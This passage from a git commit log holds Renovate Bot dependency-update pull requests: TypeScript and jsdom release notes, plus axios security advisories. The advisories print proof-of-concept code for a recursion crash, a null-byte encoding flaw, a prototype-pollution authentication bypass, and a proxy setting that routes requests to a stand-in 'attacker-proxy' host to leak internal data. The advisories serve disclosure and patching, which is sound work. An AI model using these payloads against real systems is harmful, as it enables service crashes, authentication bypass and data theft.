Source](https://github.com/microsoft/TypeScript/compare/v5.9.3...v6.0.2) For release notes, check out the [release announcement blog post](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/). - [fixed issues query for TypeScript 6.0.0 (Beta)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.0%22). - [fixed issues query for TypeScript 6.0.1 (RC)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.1%22). - [fixed issues query for TypeScript 6.0.2 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.2%22). Downloads are available on: - [npm](https://www.npmjs.com/package/typescript) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #33 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
a60fb35e89 |
chore(deps): update dependency jsdom to v29 (#30)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jsdom](https://github.com/jsdom/jsdom) | devDependencies | major | [`^27.1.0` -> `^29.0.0`](https://renovatebot.com/diffs/npm/jsdom/27.4.0/29.1.1) | --- ### Release Notes <details> <summary>jsdom/jsdom (jsdom)</summary> ### [`v29.1.1`](https://github.com/jsdom/jsdom/releases/tag/v29.1.1) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.1.0...v29.1.1) - Fixed `'border-radius'` computed style serialization. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed computed style computation when using `'background-origin'` and `'background-clip'` CSS properties. ([@​asamuzaK](https://github.com/asamuzaK)) - Significantly optimized initial calls to `getComputedStyle()`, before the cache warms up. ([@​asamuzaK](https://github.com/asamuzaK)) ### [`v29.1.0`](https://github.com/jsdom/jsdom/releases/tag/v29.1.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.2...v29.1.0) - Added basic support for the ratio CSS type. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed `getComputedStyle()` sometimes returning outdated results after CSS was modified. ([@​asamuzaK](https://github.com/asamuzaK)) ### [`v29.0.2`](https://github.com/jsdom/jsdom/releases/tag/v29.0.2) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.1...v29.0.2) - Significantly improved and sped up `getComputedStyle()`. Computed value rules are now applied across a broader set of properties, and include fixes related to inheritance, defaulting keywords, custom properties, and color-related values such as `currentcolor` and system colors. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed CSS `'background`' and `'border'` shorthand parsing. ([@​asamuzaK](https://github.com/asamuzaK)) ### [`v29.0.1`](https://github.com/jsdom/jsdom/releases/tag/v29.0.1) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.0...v29.0.1) - Fixed CSS parsing of `'border'`, `'background'`, and their sub-shorthands containing keywords or `var()`. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed `getComputedStyle()` to return a more functional `CSSStyleDeclaration` object, including indexed access support, which regressed in v29.0.0. ### [`v29.0.0`](https://github.com/jsdom/jsdom/releases/tag/v29.0.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v28.1.0...v29.0.0) Breaking changes: - Node.js v22.13.0+ is now the minimum supported v22 version (was v22.12.0+). Other changes: - Overhauled the CSSOM implementation, replacing the [`@acemir/cssom`](https://www.npmjs.com/package/@​acemir/cssom) and [`cssstyle`](https://github.com/jsdom/cssstyle) dependencies with fresh internal implementations built on webidl2js wrappers and the [`css-tree`](https://www.npmjs.com/package/css-tree) parser. Serialization, parsing, and API behavior is improved in various ways, especially around edge cases. - Added `CSSCounterStyleRule` and `CSSNamespaceRule` to jsdom `Window`s. - Added `cssMediaRule.matches` and `cssSupportsRule.matches` getters. - Added proper media query parsing in `MediaList`, using `css-tree` instead of naive comma-splitting. Invalid queries become `"not all"` per spec. - Added `cssKeyframeRule.keyText` getter/setter validation. - Added `cssStyleRule.selectorText` setter validation: invalid selectors are now rejected. - Added `styleSheet.ownerNode`, `styleSheet.href`, and `styleSheet.title`. - Added bad port blocking per the [fetch specification](https://fetch.spec.whatwg.org/#bad-port), preventing fetches to commonly-abused ports. - Improved `Document` initialization performance by lazily initializing the CSS selector engine, avoiding ~0.5 ms of overhead per `Document`. ([@​thypon](https://github.com/thypon)) - Fixed a memory leak when stylesheets were removed from the document. - Fixed `CSSStyleDeclaration` modifications to properly trigger custom element reactions. - Fixed nested `@media` rule parsing. - Fixed `CSSStyleSheet`'s "disallow modification" flag not being checked in all mutation methods. - Fixed `XMLHttpRequest`'s `response` getter returning parsed JSON during the `LOADING` state instead of `null`. - Fixed `getComputedStyle()` crashing in XHTML documents when stylesheets contained at-rules such as `@page` or `@font-face`. - Fixed a potential hang in synchronous `XMLHttpRequest` caused by a race condition with the worker thread's idle timeout. ### [`v28.1.0`](https://github.com/jsdom/jsdom/releases/tag/v28.1.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v28.0.0...v28.1.0) - Added `blob.text()`, `blob.arrayBuffer()`, and `blob.bytes()` methods. - Improved `getComputedStyle()` to account for CSS specificity when multiple rules apply. ([@​asamuzaK](https://github.com/asamuzaK)) - Improved synchronous `XMLHttpRequest` performance by using a persistent worker thread, avoiding ~400ms of setup overhead on every synchronous request after the first one. - Improved performance of `node.getRootNode()`, `node.isConnected`, and `event.dispatchEvent()` by caching the root node of document-connected trees. - Fixed `getComputedStyle()` to correctly handle `!important` priority. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed `document.getElementById()` to return the first element in tree order when multiple elements share the same ID. - Fixed `<svg>` elements to no longer incorrectly proxy event handlers to the `Window`. - Fixed `FileReader` event timing and `fileReader.result` state to more closely follow the spec. - Fixed a potential hang when synchronous `XMLHttpRequest` encountered dispatch errors. - Fixed compatibility with environments where Node.js's built-in `fetch()` has been used before importing jsdom, by working around undici v6/v7 incompatibilities. ### [`v28.0.0`](https://github.com/jsdom/jsdom/releases/tag/v28.0.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v27.4.0...v28.0.0) - Overhauled resource loading customization. See [the new README](https://github.com/jsdom/jsdom/blob/2b65c6a80af2c899e32933c5e0cb842164852149/README.md#loading-subresources) for details on the new API. - Added MIME type sniffing to `<iframe>` and `<frame>` loads. - Regression: `WebSocket`s are no longer correctly throttled to one connection per origin. This is a result of the bug at [nodejs/undici#4743](https://github.com/nodejs/undici/issues/4743). - Fixed decoding of the query components of `<a>` and `<area>` elements in non-UTF-8 documents. - Fixed `XMLHttpRequest` fetches and `WebSocket` upgrade requests to be interceptable by the new customizable resource loading. (Except synchronous `XMLHttpRequest`s.) - Fixed the referrer of a document to be set correctly when redirects are involved; it is now the initiating page, not the last hop in the redirect chain. - Fixed correctness bugs when passing `ArrayBuffer`s or typed arrays to various APIs, where they would not correctly snapshot the data. - Fixed `require("url").parse()` deprecation warning when using `WebSocket`s. - Fixed `<iframe>`, `<frame>`, and `<img>` (when `canvas` is installed) to fire `load` events, not `error` events, on non-OK HTTP responses. - Fixed many small issues in `XMLHttpRequest`. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/30 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
7fb250712e |
fix(deps): update dependency axios to v1.15.2 [security] (#32)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | patch | [`1.15.0` -> `1.15.2`](https://renovatebot.com/diffs/npm/axios/1.15.0/1.15.2) | --- ### Axios: unbounded recursion in toFormData causes DoS via deeply nested request data [CVE-2026-42039](https://nvd.nist.gov/vuln/detail/CVE-2026-42039) / [GHSA-62hf-57xw-28j9](https://github.com/advisories/GHSA-62hf-57xw-28j9) <details> <summary>More information</summary> #### Details ##### Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. ##### Details lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack. `toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth. The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process. ##### PoC ```js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data'; function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; } try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded ``` Server-side reachability example: ```js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes ``` Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500. ##### Impact A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9](https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42039](https://nvd.nist.gov/vuln/detail/CVE-2026-42039) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-62hf-57xw-28j9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams [CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040) / [GHSA-xhjh-pmcv-23jw](https://github.com/advisories/GHSA-xhjh-pmcv-23jw) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams ##### Summary The `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\x00'` converts it back to a raw null byte. This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction. **Severity:** Low (CVSS 3.7) **Affected Versions:** All versions containing this charMap entry **Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21` ##### CWE - **CWE-626:** Null Byte Interaction Error (Poison Null Byte) - **CWE-116:** Improper Encoding or Escaping of Output ##### CVSS 3.1 **Score: 3.7 (Low)** Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact | ##### Vulnerable Code **File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26 ```javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); } ``` ##### Why the Standard Flow Is NOT Affected ```javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const _encode = (options && options.encode) || encode; // buildURL's encode // buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, _options).toString(_encode); // external encoder used // AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it ``` ##### Proof of Concept ```javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js'; // Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte) // Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely) ``` ##### Verified PoC Output ``` Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874 Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true ``` ##### Impact Analysis **Primary impact is limited** because the standard axios request flow is not affected. However: - **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected - **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug - **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection. ##### Recommended Fix Remove the `%00` entry from charMap and update the regex: ```javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); } ``` ##### Resources - [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html) - [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html) - [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 3.7 / 10 (Low) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw](https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xhjh-pmcv-23jw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy [CVE-2026-42041](https://nvd.nist.gov/vuln/detail/CVE-2026-42041) / [GHSA-w9j2-pvgh-6h63](https://github.com/advisories/GHSA-w9j2-pvgh-6h63) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy ##### Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() => true`, all HTTP status codes are accepted as success. **Severity:** High (CVSS 8.2) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js` ##### CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-287:** Improper Authentication ##### CVSS 3.1 **Score: 8.2 (High)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | ##### Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties. ##### Why `validateStatus` Is Uniquely Vulnerable All other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator: ```javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← `in` traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ``` The `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct. ##### Proof of Concept ##### 1. The Setup (Simulated Pollution) ```javascript Object.prototype.validateStatus = () => true; ``` ##### 2. The Gadget Trigger (Safe Code) ```javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ``` ##### 3. The Execution ```javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ``` ##### 4. The Impact ``` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ``` ##### Verified PoC Output ``` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ``` ##### Impact Analysis - **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - **Universal Scope:** Affects every axios instance in the application, including third-party libraries. ##### Recommended Fix Replace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`: ```javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ``` ##### Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 4.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63](https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42041](https://nvd.nist.gov/vuln/detail/CVE-2026-42041) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w9j2-pvgh-6h63) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: no_proxy bypass via IP alias allows SSRF [CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038) / [GHSA-m7pr-hjqh-92cm](https://github.com/advisories/GHSA-m7pr-hjqh-92cm) <details> <summary>More information</summary> #### Details The fix for no_proxy hostname normalization bypass (#​10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ``` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent. #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm](https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m7pr-hjqh-92cm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0 [CVE-2026-42034](https://nvd.nist.gov/vuln/detail/CVE-2026-42034) / [GHSA-5c9x-8gcm-mpgx](https://github.com/advisories/GHSA-5c9x-8gcm-mpgx) <details> <summary>More information</summary> #### Details ##### Summary For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits. ##### Details Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting. This creates a path-specific bypass for streamed uploads. ### PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0 Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0 Observed: - Request succeeds; server reports received: 2097152. Control checks: - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST. ### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx](https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42034](https://nvd.nist.gov/vuln/detail/CVE-2026-42034) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5c9x-8gcm-mpgx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion [CVE-2026-42042](https://nvd.nist.gov/vuln/detail/CVE-2026-42042) / [GHSA-xx6v-rp6x-q39c](https://github.com/advisories/GHSA-xx6v-rp6x-q39c) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion ##### Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy 